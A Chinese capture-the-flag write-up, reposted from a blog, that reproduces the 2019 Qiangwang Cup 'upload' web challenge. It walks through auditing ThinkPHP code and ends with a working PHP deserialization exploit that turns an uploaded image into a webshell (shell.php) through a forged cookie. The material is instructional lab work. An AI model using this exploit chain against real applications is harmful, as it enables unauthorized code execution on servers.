强网杯Web部分review
0x01
上個月強網杯結束,看了一下Web題目,代碼審計及php 反序列化等。本著學習的態度,試著本地復現一下。靶機下載:https://github.com/glzjin/qwb_2019_upload
0x02 upload
注冊賬號并登入,登入之后可以上傳圖片,并且可以正常查看。這里可以想到與圖片馬結合進行getshell。
然后使用目錄掃描器,發現 /www.tar.gz 可以下載源碼。解壓進行代碼審計。tp5框架寫的,看一下路由信息:
跟蹤一下web模塊下的各控制器,大致查看發現,訪問這些頁面都會調用?login_check 方法,而在該方法里面會將傳進來的用戶cookie值進行反序列化。
繼續審計 application/web/controller/Profile.php 文件,這個類主要功能是上傳文件。在upload_img()方法中,先檢查是否登錄,再判斷是否有文件,然后獲取后綴,解析圖片判斷是否為正常圖片,再從臨時文件復制到指定路徑。最后有 __call 和 __get 兩個魔術方法,其中 $this->except,$this->ext、$this->filename_tmp、$this->filename在反序列化時都可以控制。
__call()魔術方法的定義是在對象中調用一個不可訪問方法時,它會被調用。所以需要一個可以觸發 __call 方法的地方。而在 application/web/controller/Register.php 文件中存在 __destruct 方法,其中 $this->registed、$this->checker 也可以在反序列化時可控。如果把 $this->checker 賦值為 Register 類,而 Register 類沒有 index 方法,所以調用的時候就會觸發 __call 方法,這樣就形成了一條完整的攻擊鏈,操控 Profile 里的參數,控制其中的 upload_img 方法,改變文件名。
最終的EXP如下:
<?php namespace app\web\controller; use think\Controller; class Register {public $checker;public $registed = false;public function __construct($checker){$this->checker = $checker;} } class Profile {public $filename_tmp = './upload/2e25bf05f23b63a5b1f744933543d723/00bf23e130fa1e525e332ff03dae345d.png';public $filename = './upload/2e25bf05f23b63a5b1f744933543d723/shell.php';public $ext = true;public $except = array('index' => 'upload_img'); } $register = new Register(new Profile()); echo urlencode(base64_encode(serialize($register)));?設置cookie,然后訪問getshell。
?
轉載于:https://www.cnblogs.com/penight/p/10967161.html
總結
以上是生活随笔為你收集整理的强网杯Web部分review的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 巨杉内核笔记(一)| SequoiaDB
- 下一篇: 其他平台上测试工具的使用